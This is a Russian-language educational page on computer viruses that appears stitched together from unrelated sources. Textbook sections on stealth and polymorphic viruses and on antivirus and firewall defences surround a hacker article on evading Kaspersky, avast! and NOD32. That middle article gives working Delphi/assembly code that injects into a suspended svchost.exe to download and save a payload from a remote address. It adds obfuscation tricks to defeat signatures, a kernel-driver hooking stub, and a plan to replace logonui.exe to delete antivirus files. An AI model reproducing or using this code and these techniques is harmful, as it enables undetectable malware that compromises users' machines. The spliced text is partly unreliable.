Как вирусы маскируются информатика
Как вирусы скрывают свое присутствие в системе?
Основная задача вируса - распространение. И поэтому вирусу необходимо как можно дольше скрывать свое присутствие в системе, ведь чем дольше он будет оставаться незамеченным, тем дальше он сможет распространиться.
Вирусы скрывают свое присутствие по-разному.
Одни вирусы проявляются не сразу, а через некоторое время, давая возможность самому себе как можно больше размножиться. Под проявлением вируса в данном случае подразумеваются действия вируса, по которым даже неопытный пользователь может почувствовать что-то неладное. Это, например, такие явные проявления вируса, как исполнение какой-нибудь мелодии или вывод на экран монитора какого-нибудь сообщения или рисунка. Отформатировать диск или испортить загрузочный сектор сразу же при первом заражении также “невыгодно” вирусу, ведь на этом заканчивается и его “жизнь”. Поэтому многие вирусы ставят такие свои деструктивные действия в зависимость от каких-либо определенных условий. Например:
а) многие вирусы проявляются в один или некоторые определенные дни;
б) другие вирусы ставят свое проявление в зависимость от случайностей всевозможного рода. Например, только если значение минут таймера меньше N ; или проверяет отсутствие ввода с клавиатуры в течение N минут; v ногие загрузочные вирусы любят уничтожать секторы дисков, вычисляя вероятность (1/8 или 1/16 );
в) иногда авторы вирусов ставят счетчики на количество нажатий на клавиши, на количество зараженных файлов или секторов и в зависимости от их значений обнаруживают свои вирусы.
Авторы вирусов заменяют некоторые компоненты операционной системы, например, прерывания, драйверы так, что программа-вирус становится невидимой для других программ. Такие вирусы называются вирусами-невидимками, или стелс-вирусами (Stealth - невидимка ).
Stealth-вирусы всегда резидентны. Резидентный модуль перехватывает обращение операционной системы к пораженным файлам или секторам дисков и “подставляет” вместо них исходные объекты.
Так Stealth-вирусы скрываются от опытного пользователя и многих антивирусных средств, которые осуществляют ранний поиск вирусов по изменениям длин файлов контрольных сумм и содержимого загрузочных секторов.
Необходимо заметить, что Stealth-вирус невидим только тогда, когда его резидентный модуль находится в оперативной памяти компьютера.
Для того, чтобы затруднить обнаружение, некоторые вирусы шифруют свой код.
С понятием компьютерного вируса тесно связано другое понятие - сигнатура.
Сигнатура - это фрагмент кода, встречающийся во всех копиях вируса и только в них. Сигнатура однозначно определяет наличие или отсутствие вируса.
Очевидно, что для поиска тела вирусов на дисках антивирусными средствами невозможно (не хватит памяти!) хранить полные коды программ-вирусов. Поэтому разработчики антивирусных средств поступают следующим образом: для поиска вирусов они хранят их сигнатуры. Такой поиск кодов вирусов называется сигнатурным поиском.
Простейшая техника шифрования выглядит следующим образом: каждый раз, когда вирус заражает новую программу, он зашифровывает свой собственный код, используя новый ключ. Ключ шифрования зависит от заражаемого файла (например, его имени или длины). В результате два экземпляра одного и того же вируса могут значительно отличаться друг от друга, и даже иметь различную длину! Это затрудняет обнаружение вируса с помощью сигнатурного поиска. Ведь зашифрованный код уже не имеет той же сигнатуры.
Шифрующиеся вирусы при получении управления первым делом расшифровывают свой код с помощью процедуры расшифровки, а затем выполняют все остальные действия.
Шифрующиеся вирусы называют иногда вирусами-”призраками”.
Все дальнейшие усовершенствования алгоритмов вирусов уже продиктованы выживанием вирусов при работе под всевозможными антивирусными средствами.
Шифрующиеся вирусы скрывают сигнатуру своего кода. Но ведь зашифрованный код должен быть расшифрован перед выполнением, следовательно, необходима процедура-дешифровщик, которая сама не может быть зашифрована, так как выполняется перед основным кодом вируса. Дешифровщик содержит специфический код и имеет достаточный размер для того, чтобы служить сигнатурой. Этим и пользуются антивирусные программы, применяющие в качестве сигнатуры код процедуры расшифровки.
Авторы вирусов на такой подход ответили полиморфными вирусами. Эти вирусы для шифрования используют не только разные ключи, но и разные процедуры шифрования (соответственно, дешифрования). Два экземпляра такого вируса не имеют ни одной совпадающей последовательности кода!
Вирусы, которые благодаря использованию разных расшифровщиков, могут полностью изменять свой код, называются полиморфными вирусами (polymorphic).
Эти вирусы дополнены генераторами расшифровщиков. Такой генератор создает для каждой новой копии вируса свой собственный расшифровщик, отличный от всех остальных, но выполняющий ту же функцию. Это достаточно сложно. Такие задачи относятся уже к автоматизации программирования.
Первый полиморфный вирус был написан в США Марком Вошборном (Mark Washburn) в качестве экспериментального. Он получил название “V2Px”, или “V-1260”, и хотя не был распространен как вирус, послужил примером для авторов вирусов.
Авторы компьютерных вирусов “вывели” самые современные виды вирусов, в которых нет ни одного постоянного БИТА информации.
Это достигается перестановкой команд расшифровщика, разбавлениями ничего не значащими командами типа NOP, STI, CLI, STC, CLC и т.д. и т.п. В результате в начале файла, зараженного подобным образом, идет набор бессмысленных на первый взгляд команд, и среди них изредка проскальзывают рабочие команды.
На настоящий момент известно огромное количество полиморфных вирусов. Казалось бы, что полиморфные вирусы реализовывают сложные алгоритмы, поэтому их написание под силу только высококвалифицированным специалистам.
Как создаются MtE - вирусы?
Но, к сожалению, в настоящее время создавать полиморфные вирусы могут не только специалисты с высокой квалификацией.
В 1991 г. в Болгарии самым известным автором вирусов, именующим себя Dark Avenger (Черный Мститель), был разработан алгоритм создания полиморфных вирусов. Это очень сложный алгоритм, который порождает дешифровщики, абсолютно непохожие друг на друга. Их размер колеблется в диапазоне от 0 до 512 байт, а в теле могут встречаться практически все команды процессора. Этот алгоритм его автор назвал Mutation Engine (машина мутаций), сокращенно он называется MtE или DAME ( Dark Angel MuTation Engine ).
Вирусы с подключенным к ним молулем MtE для порождения дешифровщиков, называют MtE - вирусами. Это полуавтоматические вирусы.
Вслед за Mutation Engine появилось еще несколько средств разработки полиморфных вирусов. В Казани был создан AWME (Anti WEB Mutation Engine). А вот названия зарубежных разработок полиморфных вирусов:
· CLME ( Crazy Lord Mutation Engine ),
· DSCE ( Dark Slayer Confusion Engine ),
· GCAE ( Golden Cicada Abnormal Engine ),
· NED ( NUKE Encription Device ),
· SMEG ( Simulated Metamorfic Encri p tion Generator ),
· TPE ( Trident Polymorfic Engine ),
· VICE ( Virogen’s Irreguar Code Engine ).
Даже по количеству автоматизированных разработок для создания полиморфных вирусов становится очевидным широкое распространение полиморфных вирусов.
В современных условиях выживают и распространяются только сложные вирусы, которые используют все известные возможности для внедрения в компьютерные системы и для того, чтобы скрыть свое присутствие.
Обычно такие вирусы не ограничиваются заражением файлов одного типа. Файлово-загрузочные вирусы распространяются как через выполнимые файлы, так и через загрузочные секторы дискет и жестких дисков, одновременно поражая файлы и секторы. При этом они еще, как правило, размещают резидентный модуль в оперативной памяти.
А для того, чтобы достичь наибольшей неуязвимости, вирусы комбинируют и все известные методы маскировки: от менее опытных пользователей и одного вида антивирусных средств скрываются, используя Stealth-технологию, от более опытных пользователей и более мощных антивирусных средств - реализовывая полиморфные механизмы.
При этом иногда возникают такие сложные комбинации всех этих способов, что результатом является мощный вирус, производящий массовое заражение.
Вирусописание – очень актуальная тема на сегодняшний день. Рынок антивирусного ПО просто кишит разнообразными продуктами так или иначе защищающим ПК от малвари. В этой статье я расскажу об обмане известных антивирусов – Касперского 7.0, avast!, NOD32, также расскажу о том, как используя исходник давно уже известной малвари написать вирус, не палящийся антивирусами, добавив всего каких-то 5 – 6 строчек кода в него.
Итак, нам надо готовый исходник сделать невидимым для антивируса. Можно для этого, конечно, переписать и извратить весь код вируса таким образом чтобы тот уже не распознавался антивирусным ПО, но это надо писать, думать головой, стучать по клаве, к тому же на это требуется много времени, так что этот способ не подходит. Можно просто с нуля писать вирус, но ведь это тоже работает не всегда, у продвинутых антивирусов имеется эмулятор, огромная база, эвристика, при этом также нужно придумывать особый алгоритм, которого еще нет в базах антивирусов и это займет еще больше времени.
uses
Windows, WinSock;
< Определение положения подстроки в строке >
Function MyPos(Substr, Str: PChar): dword; stdcall;
asm
mov eax, Substr
mov edx, str
test eax, eax
je @noWork
test edx, edx
je @stringEmpty
push ebx
push esi
push edi
mov esi, eax
mov edi, edx
push eax
push edx
call lstrlen
mov ecx, eax
pop eax
push edi
push eax
push eax
call lstrlen
mov edx, eax
pop eax
dec edx
js @fail
mov al, [esi]
inc esi
sub ecx, edx
jle @fail
@loop:
repne scasb
jne @fail
mov ebx, ecx
push esi
push edi
mov ecx, edx
repe cmpsb
pop edi
pop esi
je @found
mov ecx, ebx
jmp @loop
@fail:
pop edx
xor eax, eax
jmp @exit
@stringEmpty:
xor eax, eax
jmp @noWork
@found:
pop edx
mov eax, edi
sub eax, edx
@exit:
pop edi
pop esi
pop ebx
< Копирование строк >
Function MyCopy(S:PChar; Index, Count: Dword): PChar; stdcall;
asm
mov eax, Count
inc eax
push eax
push LPTR
call LocalAlloc
mov edi, eax
mov ecx, Count
mov esi, S
add esi, Index
dec esi
rep movsb
end;
< Копирование участка памяти >
procedure MyCopyMemory(Destination: Pointer; Source: Pointer; Length: DWORD);
asm
push ecx
push esi
push edi
mov esi, Source
mov edi, Destination
mov ecx, Length
rep movsb
pop edi
pop esi
pop ecx
end;
Function DownloadFile(Address: PChar; var ReturnSize: dword): pointer;
var
Buffer: pointer;
BufferLength: dword;
BufferUsed: dword;
Bytes: integer;
Header: PChar;
Site: PChar;
URL: PChar;
FSocket: integer;
SockAddrIn: TSockAddrIn;
HostEnt: PHostEnt;
Str: PChar;
WSAData: TWSAData;
hHeap: dword;
begin
Result := nil;
hHeap := GetProcessHeap();
WSAStartup(257, WSAData);
Site := MyCopy(Address, 1, MyPos('/', Address) - 1);
URL := MyCopy(Address, MyPos('/', Address), lstrlen(Address) - MyPos('/', Address) + 1);
Buffer := HeapAlloc(hHeap, 0, 1024);
try
BufferLength := 1024;
BufferUsed := 0;
FSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
SockAddrIn.sin_family := AF_INET;
SockAddrIn.sin_port := htons(80);
SockAddrIn.sin_addr.s_addr := inet_addr(Site);
if SockAddrIn.sin_addr.s_addr = INADDR_NONE then
begin
HostEnt := gethostbyname(Site);
if HostEnt = nil then Exit;
SockAddrIn.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_list^)^);
end;
if Connect(FSocket, SockAddrIn, SizeOf(SockAddrIn)) = -1 then Exit;
Str := HeapAlloc(hHeap, 0, 1024);
lstrcpy(Str, 'GET ');
lstrcat(Str, URL);
lstrcat(Str, ' HTTP/1.0'#10#13'Host: ');
lstrcat(Str, Site);
lstrcat(Str, #13#10'Connection: close'#13#10#13#10);
send(FSocket, Str^, lstrlen(Str), 0);
HeapFree(hHeap, 0, Str);
repeat
if BufferLength - BufferUsed 0 then Inc(BufferUsed, Bytes);
until (Bytes = 0) or (Bytes = SOCKET_ERROR);
Header := MyCopy(Buffer, 1, MyPos(#13#10#13#10, Buffer) + 3);
ReturnSize := BufferUsed - lstrlen(header);
Result := VirtualAlloc(nil, ReturnSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if Result = nil then Exit;
MyCopyMemory(Result, pointer(dword(Buffer) + lstrlen(header)), ReturnSize);
finally
HeapFree(hHeap, 0, Buffer);
end;
end;
< процедура выполняющаяся в контексте доверенного приложения >
Procedure Download(); stdcall;
const
URL : PChar = '192.168.0.58/1.mp3';
var
Buff: pointer;
Size: dword;
Bytes: dword;
dFile: dword;
begin
LoadLibrary('wsock32.dll');
Buff := DownloadFile(URL, Size);
dFile := CreateFile('c:\1.mp3', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
WriteFile(dFile, Buff^, Size, Bytes, nil);
CloseHandle(dFile);
ExitProcess(0);
end;
var
St: TStartupInfo;
Pr: TProcessInformation;
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;
t:textfile;
cmd:string;
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
// запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Code := pointer(GetModuleHandle(nil));
InjectSize := PImageOptionalHeader(pointer(integer(Code) +
PImageDosHeader(Code)._lfanew +
SizeOf(dword) +
SizeOf(TImageFileHeader))).SizeOfImage;
// выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or
MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
// изменяем контекст нити
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip := dword(@Download);
SetThreadContext(Pr.hThread, Context);
// запускаем процесс
ResumeThread(Pr.hThread);
end;
Теперь попробуем закомментировать строчку в основной части программы, где вызывается API CreateProcess - так вирус работать не будет вовсе, все обвалится еще в самом начале, но и антивирусами он после этого палиться не будет.
Мы подошли к основной части статьи – сейчас мы перепишем исходник так, чтобы он сохранил работоспособность и при этом перестал палиться антивирусами. Поступим следующим образом: вместо того, чтобы просто вызвать CreateProcess сделаем нечто вроде интерпретатора команд. Он будет читать строку из файла и сравнивать ее с каким-нибудь символом/строкой и при совпадении вызывать CreateProcess. Самый простейший способ – это модифицировать код вот так: вместо CreateProcess(nil, 'svchost.exe', nil, nil, false, CREATE_SUSPENDED, nil, nil, St, Pr); напишем эти 6 строчек кода:
AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Естественно, переменные cmd, t нужно объявить. Способ простейший, но все таки он отлично работает, при этом чем больше важных участков вируса исполняются таким образом, тем эффективнее получается механизм. Но все таки в идеале этот код – отдельная процедура, которая опять же вызывается подобным образом – только при совпадении строки, прочтенной из файла с эталонной. Далее описан еще один пример переделки этого кода - сначала создаем отдельную процедуру:
Procedure MyVirusStart(str:string);
Var cmd:string;t:textfile;
Begin
AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '1' then CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
End;
А код модифицируем, вместо
CreateProcess(nil, 'svchost.exe', nil, nil, false,
CREATE_SUSPENDED, nil, nil, St, Pr);
Напишем вот так:
AssignFile(t,'1.txt');
reset(t);
readln(t,cmd);
CloseFile(t);
if cmd = '2' then MyVirusStart;
И все! Наш вирус невидим! Главное – найти основное место в коде вируса, то без чего он станет абсолютно безопасным, да и вообще не будет работать.
Этот алгоритм довольно простой, его можно еще более усовершенствовать, сделать так, чтобы команды генерировались вирусом и им же исполнялись и т.д.
Продолжим. Допустим нам нужно внедрить DLL с вредоносным кодом в какой-либо конкретный процесс (например, для того, чтобы поставить хук). Можно, конечно, использовать метод, описанный выше, но не факт, что удастся просто так осуществить чтение инструкций из файла, ведь в зависимости от того, в какой именно процесс мы внедряемся, в его таблице импорта может и не быть функций для работы с файлами (проверил на опыте – работает не всегда). Можно, правда, внедрить в процесс код загрузки нужных DLL, но ведь это не всегда требуется, а нам нужно создать абсолютно универсальный код.
Можно сделать так: завести, например, массив, состоящий, скажем из десяти элементов – строк или чисел (кому как удобно, лично мне по душе числа), каждый элемент это команда. Далее пишем процедуру, которая нужную команду для вируса пишет в массив в ячейку со случайным номером. Далее все делается аналогично первому способу: выбирается главное действие вируса, перед ним вызываем созданную процедуру, помещающую команду в массив и перебираем массив пока не встретим нужную команду. Итак, вот такой получается код:
// генерируем команду и кладем ее в рандомую ячейку массива а
procedure writecmd;
var i,c:integer;
begin
for c:=0 to 10 do a[c]:=0;
i:=random(900);
i:=i+1;
a[random(11)]:=i; // а – массив
end;
А в коде вируса вставляем следующие строчки
for j:=0 to 10 do
if a[j]<>0 then CreateProcess(nil, 'svchost.exe', nil,
nil, false, CREATE_SUSPENDED, nil, nil, St, Pr);
// здесь вызываем главное действие вируса
// в данном исходнике это CreateProcess
Как видно, это очень простой код, но он эффективно защитит твой вирус от обнаружения, базы идут лесом – вирус разделяется на абсолютно безвредные сами по себе части, и антивирусу заранее неизвестен ход его выполнения. Этот метод можно многократно усовершенствовать и он подходит практически для любых исходников (я думаю такой простой код переписать на С++ труда не составит никому :)).
Итак, что нам нужно сделать:
- Основную операцию записи в память перенесем в отдельную функцию;
- Создадим обработчик IOCTL команд;
- Свяжем IOCTL команду с процедурой записи в память(модификации кода).
Для начала создадим процедуру, модифицирующую код ядра:
// Здесь формируется код IOCTL в драйвере
#define TESTDRV_TYPE 40000
#define IOCTL_IOPM_FUNCTION \
CTL_CODE(TESTDRV_TYPE, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)
NTSTATUS WriteKernelMemory()
<
// Здесь устанавливаем перехват на какую-нибудь функцию
.
>
NTSTATUS OnDeviceControlHandle(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP pIrp
)
<
int i;
I = 9;
I = i+177;
NTSTATUS ntStatus = STATUS_SUCCESS;
PIO_STACK_LOCATION irpSp;
// Длина входного буфера
ULONG inBufLength;
// Длина выходного буфера
ULONG outBufLength;
// Указатель на входной и выходной буфер
PULONG ioBuffer;
// Получаем указатель на драйверный стек
irpSp= IoGetCurrentIrpStackLocation(pIrp);
// Входной и выходной буфера и их длины
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;
ioBuffer = (PULONG) pIrp->AssociatedIrp.SystemBuffer;
// собственно обработка команд
switch ( irpSp->Parameters.DeviceIoControl.IoControlCode )
<
// обработка кода функции IOCTL_IOPM_FUNCTION
case IOCTL_IOPM_FUNCTION:
<
If(i!=0)
WriteKernelMemory;
break;
>
>
// Завершение рабочей процедуры
pIrp->IoStatus.Information = inBufLength;
/* Размер выходного буфера */
pIrp->IoStatus.Status = ntStatus;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
return ntStatus;
>
Естественно, для обработки IOCTL команд нужно обязательно создать объект устройства.
Подведем итоги : мы защитили вредоносный код от палева и вырубили Касперский проактив, теперь, пользуясь приведенными примерами вполне можно сотворить из готового исходника вполне работоспособный и не палящийся антивирусами вредоносный код.
Ну ладно, с антивирусными базами разобрались, а как быть с проактивной защитой антивируса Касперского (у него она хотя бы нормально работает, относительно…)? Ведь он будет бузить даже при попытке элементарно поставить хук. При интенсивном исследовании возможностей проактива, предлагаемого Каспером, таковой способ был найден.
Касперский, по непонятным мне причинам, не бузит, когда производится замена виндовских исполняемых файлов своими версиями и это очень хорошо )). Но у каспера есть проверка целостности системных файлов. К счастью, каспер проверяет только малую часть файлов оси (у него для этого и список имеется), но пользователь может добавлять в черный список и свои файлы, поэтому такие файлы, как, например winlogon.exe или lsass.exe заменить вряд ли удастся. Решение проблемы – замена файла logonui.exe, лежащего в дире %SystemRoot%\system32 ну и естественно в %SystemRoot%\system32\dllcache. Файл этот отвечает за экран входа в систему и по моему зря товарищи из Майкрософта сделали так, что этой exe-шке
позволено и со всеми файлами работать, и в реестр писать, и сервисы грузить и много чего еще. Следовательно, грамотно пропатчив данный файлик можно очень хорошо напортачить, а самое главное, что заменив этот файл можно поудалять половину всех файлов каспера, что несомненно гуд. Эта возможность распространяется и на другие антивирусы. Итак, все сводится к тому, чтобы написать прогу, очень напоминающую по внешнему виду экран входа в систему, заменить ей штатный logonui.exe и дело в шляпе!
Кстати, я крайне не советую для этой цели использовать API CopyFile и подобные, во избежание палева, лучше написать процедуру копирования файлов самостоятельно (это очень просто делается) и защитить ее описанным ранее алгоритмом.
ВНИМАНИЕ! САЙТ ЛЕКЦИИ.ОРГ проводит недельный опрос. ПРИМИТЕ УЧАСТИЕ. ВСЕГО 1 МИНУТА.
Помимо начинки и механизма размножения интерес представляют приемы, с помощью которых вирусы скрывают свое присутствие в системе, с тем, чтобы продержаться в ней как можно дольше.
Стелс-вирус — вирус, полностью или частично скрывающий свое присутствие пу-тем перехвата обращений к операционной системе, осуществляющих чтение, запись, чтение дополнительной информации о зараженных объектах (загрузочных секторах, элементах файловой системы, памяти и т.д.) Например, файловый вирус может перехватывать функции чтения/записи в файл, чтения каталога и т. д., чтобы скрыть увеличение размера зараженных программ; перехватывает функции чтения/записи файла в память, чтобы скрыть факт изменения файла.
Полиморфные вирусы — вирусы, модифицирующие свой код в зараженных про-граммах таким образом, что два экземпляра одного и того же вируса могут не совладать ни в одном бите. Это затрудняет анализ и обнаружение его антивирусом. Для модификации кода используется шифрование. Т.е. вирус содержит шифратор, причем при размножении каждая копия вируса шифруется новым случаным ключом, а расшифровывает вирус сам себя уже во время выполнения. Естественно, дешифратор при этом не зашифровывается, но полиморфные вирусы обычно содержат код генерации дешифратора, чтобы, выполняя одни и те же функции, эта часть в каждой копии вируса имела различный вид.
Тенденции современных компьютерных вирусов
Рассмотрим характерные черты, которые за последние годы наиболее четко прояви-лись в современных вирусах:
— наибольшее распространение получили сетевые черви;
— вирусы активно используют уязвимости в различных операционных системах и про-граммном обеспечении;
— для быстрого распространения вирусов используются спам-технологии;
— один вирус сочетает в себе мноество технологий: полиморфных, стелс, бэкдор;
— вместо пересылки своего тела по электронной почте часто отправляется ссылка на веб-сайт или на зараженный ранее компьютер;
— увеличивается число вирусов для новых платформ: КПК, сотовых телефонов, смарт-фонов и коммуникаторов, при этом активно используются беспроводные среды передачи данных (Bluetooth, Wi-Fi).
Борьба с вирусами
Для борьбы с вирусами используется специальное программное обеспечение — антивирусы. По выполняемым ими функциям выделяют следующие виды антивирусов:
— Программы-детекторы осуществляют поиск характерного для вируса кода (сигнатуры) в оперативной памяти и в файлах и при обнаружении выдают соответствующее сообщение.
— Ревизоры запоминают исходное состояние объектов незараженной системы и периодически сравнивают текущее состояние с исходным.
— Программы-фильтры — резидентные (то есть постоянно работающие) программы, предназначенные для обнаружения при работе компьютера подозрительных действий, характерных для вирусов.
— Вакцины — резидентные программы, предотвращающие заражение файлов. Современные антивирусы представляют собой многофункциональные программные
комплексы, которые способны обнаруживать, лечить (удалять) вирусы, а также препятствовать их проникновению на компьютер.
Современные антивирусы могут работать в двух режимах. В режиме монитора антивирус постоянно работает, отслеживая все обращения системы к файлам, вклиниваясь в этот процесс и проверяя эти файлы на предмет заражения. Таким образом, при первой попытке вируса активироваться антивирус блокирует эту попытку и выдает предупреждение. При использовании режима монитора работа компьютера замедляется (так как часть вычислительных ресурсов тратится на работу антивируса, а любое ображение к файлам и некоторым другим объектам сопровождается процедурой сканирования). Кроме того, если на компьютере присутствуют зараженные файлы, которые не проявляют активности и об-ращения к ним не происходит, они останутся незамеченными.
В режиме сканера антивирус проверяет все файлы в заданной области (определен-ный каталог, раздел жесткого диска или все устройства хранения информации) и удаля-ет/лечит зараженные (либо просто оповещает о них — в зависимости от настроек скане-ра). Проверка всех данных на компьютере может занять значительное время (несколько часов). Кроме того, вирус может попасть в систему сразу после сканирования.
Для надежной защиты рекомендуется применение обоих режимов: постоянная работа антивируса в режиме монитора и регулярная (раз в неделю) проверка всех данных с помощью сканера (обычно сканирование запускается на ночь).
Рассмотрим методы обнаружения антивирусом своих жертв.
Основной принцип, по которому выделяются сигнатуры — она должна содержать только уникальные строки из этого файла, настолько характерные, чтобы гарантировать минимальную возможность ложного срабатывания. Разработка сигнатур осуществляется вручную путем кропотливого исследования нескольких файлов, зараженных (или принадлежащих) одним вирусом. Автоматическая генерация сигнатур (особенно в условиях полиморфных вирусов) пока не дает удовлетворительных результатов.
Каждый современный антивирус имеет обширную (несколько сот тысяч) базу сигна-тур, которая регулярно обновляется. Проблема обнаружения, основанного на сигнатурах заключается в том, что новый вирус (сигнатуры которого еще нет в базе) может беспрепятственно обойти антивирусную защиту. При этом создание сигнатуры и доставка ее пользователям занимает от 11 до 97 часов в зависимости от производителя, в то время как теоретически, вирус может захватить весь интернет меньше, чем за 30 секунд18.
Метод обнаружения подозрительного поведения программы. Антивирус прослеживает поведение всех работающих программ и пытается выявить действия, характерные для вируса (например, запись данных в exe-файл). Однако этот метод часто вызывает ложные срабатывания (в результате пользователи перестают обращать внимание на предупреждения). Разновидность этого метода — эмуляция программы: перед запуском при-ложения антивирус пытается имитировать его поведение с целью отслеживая подозри-тельных действий. Данный метод наиболее требователен к ресурсам.
Эвристическое сканирование — метод, основанный на сигнатурах и эвристике, при-зван улучшить способность сканеров применять сигнатуры и распознавать модифицированные версии вирусов в тех случаях, когда сигнатура совпадает с телом неизвестной про-граммы не на 100 %, но в подозрительной программе налицо более общие признаки виру-са. Данная технология, однако, применяется в современных программах очень осторожно, так как может повысить количество ложных срабатываний19.
Наиболее известные современные антивирусы: антивирус Касперского, Doctor WEB, NOD32, Norton Antivirus, Panda Antivirus, Avast! Antivirus (последний является бесплатным для домашнего использования).
Средства защиты сети
Если локальная сеть организации или персональный компьютер пользователя имеют выход в сеть Интернет, количество угроз безопасности увеличивается в десятки раз по сравнению с изолированной сетью или компьютером. Сетевые вирусы, попытки проник-новения в систему извне (используя подобранный или украденный пароль, уязвимости программного обеспечения и т.д.), перехват и подмена данных, передаваемых в сеть или получаемых из сети — вот перечень наиболее типичных угроз.
Существует ряд средств, методов и технологий защиты информации, учитывающих специфику сетевых атак. К ним, в частности, относятся межсетевые экраны (брандмауэры), виртуальные частные сети (VPN) и системы обнаружения вторжений.
Межсетевые экраны
Межсетевой экран (брандмауэр, файрвол) — комплекс аппаратных и/или программных средств, осуществляющий контроль и фильтрацию проходящих через него се-тевых пакетов на различных уровнях модели OSI в соответствии с заданными правилами.
Межсетевой экран, как правило, обладает несколькими интерфейсами, по одному на каждую из сетей, к которым он подключен. Набор правил политики определяет, каким об-разом трафик передается из одной сети в другую. Если в правиле отсутствует явное раз-решение на пропуск трафика, межсетевой экран отклоняет или аннулирует пакеты.
Межсетевой экран может выступать в роли proxy-сервера. Proxy-сервер — это про-грамма или узел сети, играющий роль посредника между внутренней сетью организации и внешней сетью (например, Интернет). В этом случае он может также скрывать внутренние адреса компьютеров организации. Эта функция называется трансляцией сетевых адресов (NAT — Network Address Translation). Когда какой-то узел внутренней сети хочет переда-вать информацию вовне, он отправляет ее proxy-серверу (одновременно являющемуся межсетевым экраном). Проверив передаваемые пакеты на соответствие политике фильт-рации, межсетевой экран инициирует новое соединение, и передает пакеты уже от своего имени. В результате скрывается схема внутренней адресации сети и тем самым сущест-венно затрудняется ее анализ злоумышленником (с целью обнаружения уязвимостей).
Существует ряд классификаций межсетевых экранов по различным критериям:
Читайте также: